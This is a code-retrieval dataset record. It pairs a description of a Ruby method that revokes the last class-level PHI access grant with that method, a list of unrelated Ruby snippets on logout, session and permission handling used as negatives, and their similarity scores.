AlnTermination.find_all_by_aln_path_id(self.aln_path_id, :readonly => false).each {|t| do_remove_from_termination(t)}\r\n super\r\n end", "def stop_impersonating\n stop_impersonating_user\n redirect_to root_path\n end", "def destroy\n return unless modifying_self?\n @hacker = current_user\n \n if @hacker.authenticate(params[:cancel_password])\n @hacker.cancel_account\n \n cookies.delete :auth_token\n session.delete :filter\n session.delete :current_tags\n\n @hacker.destroy\n \n redirect_to home_url\n else\n redirect_to(edit_hacker_path(@hacker), alert: 'Incorrect password supplied')\n end\n end", "def logout_auth_all\r\n\t\tsign_out current_user if(user_signed_in?)\r\n\t\tredirect_to SERVICE_AUTH_URL_SIGN_OUT\r\n\tend", "def clear_patron_data\n if User.where(admin: [nil, false]).destroy_all\n flash[:success] = t('users.clear_patron_data_success')\n end\n redirect_to users_url\n end", "def destroy \n\t session[:guestaccount_id] = nil \n\t \n\tend", "def destroy\n self.class.delete_all(\"session_id='#{session_id}'\")\n end", "def destroy\n sign_out(resource_name)\n doorkeeper_token.revoke\n\n render_meta message: I18n.t('devise.sessions.signed_out')\n end", "def revoke\n post('/api/revoke')\n end", "def clear_grants_hack()\n self.grants.clear\n end", "def destroy\n session[:user_id] = nil\n session[:roles_permissions_data] = nil\n session[:current_user_school_id] = nil\n #render 'index'\n redirect_to root_url, :notice => \"Logged out!\"\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def destroy\n if !self.insurance_sessions.blank?\n #there is an insurance_session record, dont allow destroy\n errors.add :base, \"Patient has sessions associated, patient deletion is not allowed\"\n else\n run_callbacks :destroy do\n self.update_column(:deleted, true) \n end\n end\n end", "def unauthorize\n Logger.info \"Cleaning up authorization for #{@registry.prefix}\"\n FileUtils.rm_rf(@gcloud_config_dir) unless @gcloud_config_dir.nil?\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def destroy_digital\n digitals.map &:destroy unless Spree::DigitalConfiguration[:keep_digitals]\n end", "def destroy\n\t\tsession.delete('cas')\n\t\tredirect_to :root, notice: \"Logged out!\"\n\tend", "def deprotect(nick)\n change_permissions(:deprotect, nick)\n end", "def clear_flags\n @regs.each(&:clear_flags)\n end", "def drop_all!(securable_type)\n db = AccessControl.db\n nodes = db[:ac_nodes].filter(securable_type: securable_type)\n nodes_subquery = nodes.select(:id)\n\n # Relying on the fact that assignments are cascade-deleteable.\n db[:ac_assignments].filter(node_id: nodes_subquery).delete\n\n db[:ac_parents].filter(parent_id: nodes_subquery).delete\n db[:ac_parents].filter(child_id: nodes_subquery).delete\n\n nodes.delete\n end", "def destroy_auth\n\t\tsession[:user_id] = nil\n\t\tredirect_to root_path\n\tend", "def deauthenticate\n self.clear_current_user\n redirect_to :root\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def unprotect(key)\n @_protected.reject! { |e| e == key.to_s }\n end", "def logoff()\n #This is a stub, used for indexing\n end", "def deny_all_access\n @permissions = 0\n end", "def relation_withdraw_all(user)\n Note_Relation.all(:note_id => self.id, :user_id => user.id ).destroy!\n end", "def sign_out(resource_or_scope); end", "def sign_out(resource_or_scope); end", "def log_out\n session.delete(:teacher_id)\n @current_teacher = nil\n end", "def destroy\n self.class.where(:id => self.id).update_all(:is_mirrored => false) if self.is_mirrored?\n super\n end", "def clear_statements\n raise TriplestoreAdapter::TriplestoreException.new(\"#{@provider.class.name} missing clear_statements method.\") unless @provider.respond_to?(:clear_statements)\n @provider.clear_statements\n end" ]
[ "0.68374854", "0.6675628", "0.63887876", "0.6320637", "0.6007623", "0.5952524", "0.5840026", "0.5692666", "0.5643324", "0.5577794", "0.5522264", "0.55016327", "0.5488599", "0.5460995", "0.54551697", "0.5425435", "0.53944206", "0.53864354", "0.5351043", "0.5305578", "0.53035015", "0.53035015", "0.52948445", "0.5255561", "0.52492195", "0.52021563", "0.515185", "0.514411", "0.5133683", "0.5129896", "0.5125453", "0.51155996", "0.5112071", "0.5105315", "0.50946444", "0.5086317", "0.50630087", "0.5057683", "0.5056192", "0.50333357", "0.50301313", "0.5028043", "0.5024705", "0.5018982", "0.50110316", "0.5010417", "0.5009388", "0.49905586", "0.49827486", "0.4978275", "0.4971922", "0.49668697", "0.49576384", "0.49576384", "0.49576384", "0.49551088", "0.4952448", "0.4944531", "0.49297395", "0.4927563", "0.4926573", "0.49201387", "0.4919084", "0.49118194", "0.49032554", "0.48819602", "0.48763794", "0.4875492", "0.4867918", "0.4866014", "0.48653847", "0.4864712", "0.48575762", "0.48447037", "0.48434794", "0.48431703", "0.4842163", "0.48398596", "0.48395538", "0.48392633", "0.48380277", "0.4834301", "0.48325425", "0.48309755", "0.4829037", "0.4827321", "0.48266885", "0.4820971", "0.4819172", "0.481229", "0.4808209", "0.48056686", "0.4799915", "0.47979352", "0.47906554", "0.47883675", "0.47883675", "0.4785061", "0.47782612", "0.477778" ]
0.65287447
2
Revoke last PHI access for this class, if enabled by PhiRecordallow_phi!
def disallow_last_phi! raise ArgumentError, 'block not allowed' if block_given? removed_access = __phi_stack.pop message = removed_access.present? ? "PHI access disabled for #{removed_access[:user_id]}" : 'PHI access disabled. No class level access was granted.' PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do PhiAttrs::Logger.info(message) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def revoke\n raise \"Implement me!\"\n end", "def unprotect\n @target\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def revoke_token\n raise 'To be implemented in child classes'\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def unprotect()\n res = super(context,self)\n return res\n end", "def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def revoke_token\n request @google + '/accounts/AuthSubRevokeToken'\n\n @session_token = false\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def untrust!\n MTurkUtils.untrust_user self\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def disable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.last_access = Time.zone.now\n delete_storage_object(person_authentication_key.to_sym)\n proxy_u.save!\n true\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def revoke!\n update(revoked_at: Time.zone.now)\n end", "def revoke\n self.state = :revoked\n self.save\n end", "def abandon!\n @user = nil\n session.delete\n end", "def abandon!\n @user = nil\n session.delete\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def local_revoke(peer)\n @var[:revoked] << peer unless @var[:revoked].include?(peer)\n _notice \"You have revoked access to #{peer}\"\n local_rekey('')\nend", "def revoke!\n self[:revoked] = Time.now\n save\n Client[client_id].token_revoked\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def unlock_access!; end", "def possessionrevoke\n party = Party.find(params[:party_id])\n possession = party.possessions.find(params[:possession_id])\n party.possessions.delete(possession)\n \n redirect_to :action => 'relationshipassignment', :party_id => params[:party_id]\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def abandon!\n @user = nil\n session.clear\n end", "def abandon!\n authentication.abandon!\n end", "def sign_out(resource_or_scope); end", "def sign_out(resource_or_scope); end", "def destroy\n @access.destroy\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def unrevoke_consent!\n update(consent_revoked_at: nil)\n end", "def revoke!\n self.used = true\n self.save\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def forget_past!\n access :unsafe_forget_past!\n end", "def signed_out_other_scope(resource)\n ActiveRecord::SessionStore::Session.all(:conditions => ['user_id = ?', resource.id]).compact.each do |s|\n begin\n s.destroy\n rescue\n next\n end\n end\n end", "def revoke\n post('/api/revoke')\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def delate_constraint\n\t\tdelete_constraint_check(params[:user_id], params[:constraint_id])\n\t\tConstraint.delete(params[:constraint_id])\n\t\tredirect_to settings_page_path(id: params[:user_id])\n\tend", "def sign_out(resource_or_scope = T.unsafe(nil)); end", "def revoke\n oauth_access_token.revoke\n head :ok\n end", "def destroy\n session[:superadmin_mode] = false\n redirect_to_home\n end", "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_cloakingprovider: \")\nend", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def unauthorize!\n throw(:warden)\n end", "def deprotect(nick)\n change_permissions(:deprotect, nick)\n end", "def destroy\r\n AlnTermination.find_all_by_aln_path_id(self.aln_path_id, :readonly => false).each {|t| do_remove_from_termination(t)}\r\n super\r\n end", "def revoke_previous_client_credentials_token\n @config.instance_variable_set(:@revoke_previous_client_credentials_token, true)\n end", "def turn_off_current_user_vpn_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VPNApi.turn_off_current_user_vpn ...'\n end\n # resource path\n local_var_path = '/user/vpn'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['x_auth_token']\n\n new_options = opts.merge(\n :operation => :\"VPNApi.turn_off_current_user_vpn\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VPNApi#turn_off_current_user_vpn\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.update({ :_id=>id }, { :$set=>{ :revoked=>revoked } })\n AuthRequest.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessGrant.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessToken.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n end", "def C_Logout()\n @pk.C_Logout(@sess)\n self\n end", "def destroy\n if !self.insurance_sessions.blank?\n #there is an insurance_session record, dont allow destroy\n errors.add :base, \"Patient has sessions associated, patient deletion is not allowed\"\n else\n run_callbacks :destroy do\n self.update_column(:deleted, true) \n end\n end\n end", "def proxy_forget\n execute(:proxy, :forget)\n end", "def handle_revoke_permission\n raise ArgumentError, \"Error: trying to revoke permission #{privilege_set_name} for #{pristine_role.name}, but this permission does not exist\" unless cbac_permission_exists?\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission = Cbac::Permission.joins(:privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(context_role: pristine_role.name).first\n else\n permission = Cbac::Permission.joins(:generic_role, :privilege_set).where(\"cbac_privilege_set.name = ?\", privilege_set_name).where(\"cbac_generic_roles.name = ?\", pristine_role.name).first\n end\n\n register_change if Cbac::Permission.find(permission.id).destroy\n end", "def sso_session_revoke_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SsoApi.sso_session_revoke ...'\n end\n # resource path\n local_var_path = '/sso/session/revoke'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SsoApi#sso_session_revoke\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n return unless modifying_self?\n @hacker = current_user\n \n if @hacker.authenticate(params[:cancel_password])\n @hacker.cancel_account\n \n cookies.delete :auth_token\n session.delete :filter\n session.delete :current_tags\n\n @hacker.destroy\n \n redirect_to home_url\n else\n redirect_to(edit_hacker_path(@hacker), alert: 'Incorrect password supplied')\n end\n end", "def logoff()\n #This is a stub, used for indexing\n end", "def password_forget\n redirect_to lato_core.root_path unless core_getRecoveryPasswordPermission\n redirect_to lato_core.root_path if core_controlSession\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def destroy\n revert_impersonate\n redirect_to root_path\n end", "def revoke_token(token, params = nil, opts = nil)\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end", "def turn_off\n self.class._end_session\n end", "def on_revoke(*)\n disconnect(:token_revoked)\n fail SlackBotManager::TokenRevoked\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def delete_reverse_permission\n reverse_permission = Cbac::CbacPristine::PristinePermission.where(\n privilege_set_name: privilege_set_name,\n pristine_role_id: pristine_role_id,\n operation: reverse_operation)\n .first\n\n reverse_permission.delete\n end", "def revive\n # Disable paper_trail when it is present and active\n if self.class.respond_to?(:paper_trail_active) && self.class.paper_trail_active\n self.class.paper_trail_off\n update_attribute :deleted_at, nil\n self.class.paper_trail_on\n else\n update_attribute :deleted_at, nil\n end\n end", "def uncancel\r\n @plan = check_security(params[:id])\r\n @plan.uncancel(current_user)\r\n\r\n #MES- Every user is notified of an uncancel- it's like an\r\n # invitation.\r\n @plan.planners.each do | plnr |\r\n user = plnr.owner\r\n if user != current_user &&\r\n UserAttribute::FALSE_USER_ATT_VALUE != user.get_att_value(UserAttribute::ATT_REMIND_BY_EMAIL).to_i &&\r\n UserAttribute::INVITE_NOTIFICATION_ALWAYS == user.get_att_value(UserAttribute::ATT_INVITE_NOTIFICATION_OPTION).to_i\r\n UserNotify.deliver_uncancel_plan(current_user, plnr.owner, @plan)\r\n end\r\n end\r\n flash[:notice] = \"This plan is reinstated.<br/>All attendees have been re-invited.\"\r\n redirect_back\r\n end", "def revoke!(revoker)\n update(\n :ends_at => Time.now.getutc,\n :revoker_id => revoker.id,\n :needs_view => false\n )\n end", "def log_out\n session.delete(:person_id)\n @current_person = nil\n end", "def log_out\n session.delete(:contributor_id)\n @current_contributor = nil\n end", "def revoke_access_token\n\t\t\tif session[:token]\n\t\t\t\t# Use either the refresh or access token to revoke if present.\n\t\t\t\ttoken = session[:token].to_hash[:refresh_token]\n\t\t\t\ttoken = session[:token].to_hash[:access_token] unless token\n\n\t\t\t\t# You could reset the state at this point, but as-is it will still stay unique\n\t\t\t\t# to this user and we're avoiding resetting the client state.\n\t\t\t\tsession.delete(:state)\n\t\t\t\tsession.delete(:token)\n\n\t\t\t\t# Send the revocation request and return the result.\n\t\t\t\trevokePath = 'https://accounts.google.com/o/oauth2/revoke?token=' + token\n\t\t\t\turi = URI.parse revokePath\n\t\t\t\trequest = Net::HTTP.new uri.host, uri.port\n\t\t\t\trequest.use_ssl = true\n\t\t\t\trequest.get uri.request_uri\n\t\t\tend\n\t\tend", "def delete_trusted_keys_statement\n super\n end", "def destroy_self\n \tdestroy_record_of_self\n \t@db_alive = false\n \treturn nil\n end", "def destroy\n sign_out(resource_name)\n doorkeeper_token.revoke\n\n render_meta message: I18n.t('devise.sessions.signed_out')\n end", "def revoke_firecloud_acl\n\t\tbegin\n\t\t\tunless self.permission == 'Reviewer'\n\t\t\t\tacl = Study.firecloud_client.create_workspace_acl(self.email, 'NO ACCESS')\n\t\t\t\tStudy.firecloud_client.update_workspace_acl(self.firecloud_project, self.firecloud_workspace, acl)\n\t\t\tend\n\t\trescue RuntimeError => e\n\t\t\tRails.logger.error \"#{Time.now}: Could not remove share for #{self.email} to workspace #{self.firecloud_workspace} due to: #{e.message}\"\n\t\t\tSingleCellMailer.share_delete_fail(self.study, self.email).deliver_now\n\t\tend\n\tend", "def remove_resource(source_record:)\n ::Pundit.authorize(user, source_record, 'destroy?')\n end", "def log_out\n\t\tsession.delete(:authorization)\n\tend", "def exit_admin_mode\n if m = Mission.where(:id => session[:last_mission_id]).first\n current_user.change_mission!(m)\n end\n redirect_to(root_url(:admin_mode => nil))\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_parameter_protectionprovider: \")\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def destroy\n if !self.insurance_sessions.blank?\n # provider was used in an session and/or claim.\n errors.add :base, \"Provider is asociated to a session and/or claim. Provider cannot be deleted.\"\n else\n run_callbacks :destroy do\n self.update_column(:deleted, true)\n end\n end\n end", "def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end", "def disconnect(token)\n # You could reset the state at this point, but as-is it will still stay unique\n # to this user and we're avoiding resetting the client state.\n # session.delete(:state)\n session.delete(:token)\n\n # Send the revocation request and return the result.\n revokePath = 'https://accounts.google.com/o/oauth2/revoke?token=' + token\n uri = URI.parse(revokePath)\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true\n status request.get(uri.request_uri).code\nend", "def destroy\n if current_scope.is_a?(Program)\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_program!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n else\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_account!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n end\n\n respond_with [:admin, @user]\n end", "def force_logout\n sign_out(resource) if user_signed_in?\n end" ]
[ "0.6518896", "0.6509298", "0.6353209", "0.62505233", "0.610909", "0.6018111", "0.5942799", "0.59380364", "0.5820699", "0.57750565", "0.569153", "0.5575222", "0.5550095", "0.5430204", "0.54136413", "0.541358", "0.54036754", "0.5397172", "0.53721356", "0.5371745", "0.5363132", "0.5357539", "0.5325319", "0.5325319", "0.5324841", "0.53076535", "0.5275213", "0.52595663", "0.52464294", "0.52287906", "0.52190316", "0.5212093", "0.5185197", "0.5180903", "0.51734614", "0.51678526", "0.51678526", "0.5163187", "0.51548976", "0.5132867", "0.5120211", "0.51043344", "0.50924283", "0.5085238", "0.5081204", "0.50773555", "0.5048558", "0.5048558", "0.50237364", "0.5020449", "0.5017148", "0.50083286", "0.5004113", "0.5002525", "0.4997236", "0.49884707", "0.49884707", "0.49884707", "0.4987652", "0.49784708", "0.4976672", "0.49766484", "0.49764875", "0.49700862", "0.4954102", "0.49539167", "0.4952545", "0.49505618", "0.49448812", "0.4924779", "0.49082354", "0.49076545", "0.48965332", "0.48961252", "0.489203", "0.48915604", "0.48807195", "0.48727816", "0.48613185", "0.48579752", "0.4857182", "0.4851863", "0.4844079", "0.48410913", "0.48316896", "0.483129", "0.4829842", "0.48275062", "0.48244476", "0.4823487", "0.48208743", "0.48169693", "0.48109475", "0.4810636", "0.4810201", "0.48075417", "0.48056182", "0.47961828", "0.4792736", "0.47868204" ]
0.6793201
0
Whether PHI access is allowed for this class
def phi_allowed? __phi_stack.present? && __phi_stack[-1][:phi_access_allowed] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def has_privilege?\n has_all? || has_direct?\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def allow_access\n !current_cas_user.nil?\n end", "def allowed?\n true\n end", "def allowed?\n true\n end", "def allowed?\n true\n end", "def priv?\n !org?\n end", "def can?( privilege, obj )\n\n return false if privilege == :forbidden_operation # lest wildcards allow it\n\n class_name = obj.class.sg_base_class_name\n class_perms = perms_for_class(class_name) || {}\n\n (class_perms[privilege] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n (class_perms[:any] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n return false\n\n end", "def allow_access\n !@current_user.nil?\n end", "def visible_check(_traversal_env)\n Result::DENY\n end", "def can_access?\n allows_current_user_access_to? :access\n end", "def forbidden?\n @forbidden\n end", "def is_protected?\n is_public == true && requires_login == true\n end", "def track_accessible?\n track || is_admin\n end", "def allowed?\n allowed\n end", "def allowed?; true end", "def priviledged?\n @priviledged\n end", "def public?\r\n restriction_level == Relationshiptype.everyone\r\n end", "def permitAccess\n\tif session[:id] == nil\n\t\treturn false\n\telse\n\t\treturn true\n\tend\nend", "def privileged?\n\t\treturn (privileged == true)\n\tend", "def restricted?\n page.restricted?\n end", "def can_access?(user)\n user == self.user\n end", "def public?\n self.privacy == PUBLIC\n end", "def can_accept?\n !self.new_record? && self.active? && !!self.kase && self.kase.active?\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def preconditions_met?\n # tracked_request.root_layer is nil for Rack apps ... unsure why.\n return false unless tracked_request.root_layer\n\n Auth.permitted?\n end", "def allowed?() raise NotImplementedError end", "def permitted?; end", "def allow_member?\n true\n end", "def private?\n sensitivity == \"Private\"\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def authorize?\n @root.attributes[\"ath\"].to_i == 1\n end", "def protects?(thing)\n false\n end", "def has_direct?\n @privileges.fetch(@target).include?(@requisite)\n end", "def attackable?\n true\n end", "def privileged_access?\n connected? || PrismicService.access_token\n end", "def accessible\n true \n end", "def foreign_visitor?\n not user\n end", "def access_control\n \n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def publicly_available?\n return false unless access_rights.present?\n\n access_rights.none? do |value|\n value == 'deny' || %w[allow:icus allow:pdus].include?(value)\n end\n end", "def private?\n self.private\n end", "def private?\n self.private\n end", "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@measurement.nil?\n patient = @measurement.patient\n result = patient.id == current_user.id or patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "def allowed?\n true\n # AccessControl.allowed_controllers(current_user.profile.label, current_user.profile.modules).include?(params[:controller])\n end", "def protect?\n protect == true\n end", "def can_be_accessed_by?(advocate)\n !!accessors.find(:first, :conditions => [\"accesses.requestor_id = ?\", advocate.id])\n end", "def can_xp?\n false\n end", "def line_count_authorized?\n return true if current_user.is_an_admin_or_operator?\n return false\nend", "def internal?\n self.internal\n end", "def information?\n not_a_visitor\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def gr_is_visible?\n eval_policy(:read_access)\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def allowed?(guarded_object, user, method)\n return true if (guarded_object.nil? || user.nil? || method.nil?)\n return true unless @guarded_methods.include?(method)\n \n # if they can always view it, no need to check variant.\n always = user.stonewall_role_info.detect do |r|\n granted?(r, :all, :all) || granted?(r, :all, method)\n end\n return always if always\n \n v = guarded_object.send(variant_field) &&\n guarded_object.send(variant_field).to_sym\n \n # if the variant field isn't set, is this a reasonable thing to do? \n return true if v.nil?\n \n user.stonewall_role_info.detect do |r|\n granted?(r, v, :all) || granted?(r, v, method)\n end || false\n end", "def restricted?\n pages.any? && pages.not_restricted.blank?\n end", "def restricted?\n pages.any? && pages.not_restricted.blank?\n end", "def restricted?\n pages.any? && pages.not_restricted.blank?\n end", "def has_access\n if !current_user\n redirect_to \"/error\"\n return false;\n end\n return true\n end", "def permitted?\n if !block_given?\n return @j_del.java_method(:isPermitted, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling permitted?()\"\n end", "def is_potential_user?\n\t\ttrue\n\tend", "def conditional_access\n return 